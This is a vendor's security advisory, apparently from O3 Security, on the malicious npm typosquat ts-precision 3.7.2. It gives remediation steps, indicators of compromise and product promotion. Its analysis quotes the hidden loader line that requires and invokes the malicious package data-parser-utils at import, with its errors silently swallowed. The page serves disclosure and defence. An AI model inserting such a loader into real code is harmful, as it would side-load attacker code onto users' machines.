Which versions of ts-precision are malicious?

The following npm versions of ts-precision are flagged malicious: 3.7.2. Treat any of these as compromised.

How do I remediate ts-precision if I installed it?

ts-precision is a typosquat — you almost certainly intended a legitimately-named package. Remove ts-precision, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed ts-precision — how do I know if it already compromised me?

If ts-precision was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is ts-precision part of a known attack campaign?

Yes — ts-precision is associated with the IN-MAL-2026-007525, GHSA-g38h-2r6h-pwr8 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find ts-precision across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ts-precision (version 3.7.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ts-precision across your stack and pipelines.

Malicious package

ts-precisionnpm

ts-precision is a confirmed malicious npm package (MAL-2026-6469) that typosquats a legitimate package to trick installs (malicious version 3.7.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in ts-precision (npm)

MAL-2026-6469

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall ts-precision

What this malware does

Package ships a verbatim copy of big.js v7.0.1 (including the original author metadata 'Michael Mclaughlin [email protected]' and repo reference MikeMcl/big.js) under a different name, mimicking a legitimate arbitrary-precision math library to lure installers. Hidden between math methods in the module body is an unrelated block: try { const doc = require("data-parser-utils"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. This block fires on every require('ts-precision') / import of the package, pulling in and invoking the known-malicious npm package data-parser-utils, with errors silently swallowed in an empty try/catch and no-op promise handlers to hide failures from the consumer. The dependency invocation is unrelated to decimal arithmetic and exists solely to side-load attacker-controlled code into any consumer's process at module load.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

3.7.2

Indicators of compromise (SHA-256)

e7d2534408d7dd1d7f02c3ef470bc697d0803e8acd58941de5974a250127cb8c

b4ffbdf3dab9ae9a0147818f09f7763029240baf7125f0363fedbc80dcf71234

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ts-precision (version 3.7.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ts-precision across your stack and pipelines.
If you installed it — respond
ts-precision is a typosquat — you almost certainly intended a legitimately-named package. Remove ts-precision, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If ts-precision was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ts-precision before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. ts-precision on npm has been identified as a malicious package (version 3.7.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007525GHSA-g38h-2r6h-pwr8

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks ts-precision-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database